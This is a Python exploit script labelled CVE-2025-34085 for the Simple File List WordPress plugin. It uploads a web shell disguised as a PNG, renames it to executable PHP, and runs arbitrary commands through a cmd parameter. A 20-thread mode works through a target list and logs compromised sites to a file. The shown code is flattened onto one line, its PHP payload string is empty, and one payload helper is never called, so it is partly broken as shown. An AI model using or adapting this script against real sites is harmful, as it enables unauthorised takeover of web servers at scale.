#!/usr/bin/env python3 import requests import hashlib import time import random import string import uuid import argparse from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor from colorama import Fore, Style, init # Initialize colorama init(autoreset=True) # Global Configuration EXPECTED_SUBSTRING = None # Accept any output THREADS = 20 HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*" } UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php" RENAME_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php" SHELL_PATH = "/wp-content/uploads/simple-file-list/" # Banner def banner(): print(Fore.RED + Style.BRIGHT + r""" ██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗ ██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║ ██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║ ██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║ ██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ CVE-2025-34085 — Simple File List WordPress Plugin RCE 📌 Author: Black Ash | B1ack4sh """) print(Fore.RED + "[•] Starting multithreaded exploit...\n") def normalize_url(domain): if not domain.startswith("http://") and not domain.startswith("https://"): return "http://" + domain return domain.rstrip('/') def rand_str(n=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n)) def generate_payload(cmd=None, inline=False): if inline: return f"system('{cmd}');" return "system($_GET['cmd']);" def send_exploit(target): url = normalize_url(target) filename = rand_str() timestamp = str(int(time.time())) token = hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest() # Payload content php_payload = f"".encode() boundary = f"----WebKitFormBoundary{uuid.uuid4().hex[:16]}" multipart_body = ( f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"eeSFL_ID\"\r\n\r\n1\r\n" f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"eeSFL_FileUploadDir\"\r\n\r\n{SHELL_PATH}\r\n" f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"eeSFL_Timestamp\"\r\n\r\n{timestamp}\r\n" f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"eeSFL_Token\"\r\n\r\n{token}\r\n" f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}.png\"\r\n" f"Content-Type: image/png\r\n\r\n" ).encode() + php_payload + f"\r\n--{boundary}--\r\n".encode() upload_headers = HEADERS.copy() upload_headers["Content-Type"] = f"multipart/form-data; boundary={boundary}" upload_headers["Referer"] = f"{url}/wp-admin" upload_headers["Origin"] = url try: r = requests.post(url + UPLOAD_PATH, data=multipart_body, headers=upload_headers, timeout=10, verify=False) if r.status_code == 200 and "SUCCESS" in r.text: extensions = ['php', 'phtml', 'php5', 'php3'] for ext in extensions: new_name = f"{filename}.{ext}" data = { 'eeSFL_ID': '1', 'eeListFolder': '/', 'eeFileOld': f"{filename}.png", 'eeFileAction': f"Rename|{new_name}" } r2 = requests.post(url + RENAME_PATH, data=data, headers=HEADERS, timeout=10, verify=False) if r2.status_code == 200: shell_url = f"{url}{SHELL_PATH}{new_name}" if INLINE: r3 = requests.get(shell_url, headers=HEADERS, timeout=10, verify=False) else: r3 = requests.get(shell_url, params={"cmd": COMMAND}, headers=HEADERS, timeout=10, verify=False) print(Fore.YELLOW + f"[DEBUG] Command Output:\n{r3.text.strip()}\n") if r3.status_code == 200 and (EXPECTED_SUBSTRING is None or EXPECTED_SUBSTRING in r3.text): print(Fore.GREEN + f"[+] {url} | {shell_url}") with open("vuln.txt", "a") as log: log.write(f"{url} | {shell_url} | {r3.text.strip()}\n") return print(Fore.RED + f"[-] Not Vulnerable or Unexpected Response: {url}") except Exception as e: print(Fore.MAGENTA + f"[x] Failed: {url} | {e}") # Entry Point if __name__ == "__main__": parser = argparse.ArgumentParser(description="WordPress Simple File List RCE Scanner by 0xgh057r3c0n") parser.add_argument("-u", "--url", help="Single target URL (e.g. http://example.com)") parser.add_argument("--cmd", help="Command to execute on the target (default: id)", default="id") parser.add_argument("--inline", help="Inject command directly into the PHP shell (no ?cmd=)", action="store_true") args = parser.parse_args() COMMAND = args.cmd INLINE = args.inline banner() requests.packages.urllib3.disable_warnings() if args.url: print(Fore.CYAN + f"[•] Scanning single target: {args.url} with command: {COMMAND} | Inline: {INLINE}") send_exploit(args.url) else: with open("targets.txt", "r") as f: targets = [line.strip() for line in f if line.strip()] print(Fore.CYAN + f"[•] Loaded {len(targets)} targets. Launching {THREADS} threads with command: {COMMAND} | Inline: {INLINE}") with ThreadPoolExecutor(max_workers=THREADS) as executor: executor.map(send_exploit, targets)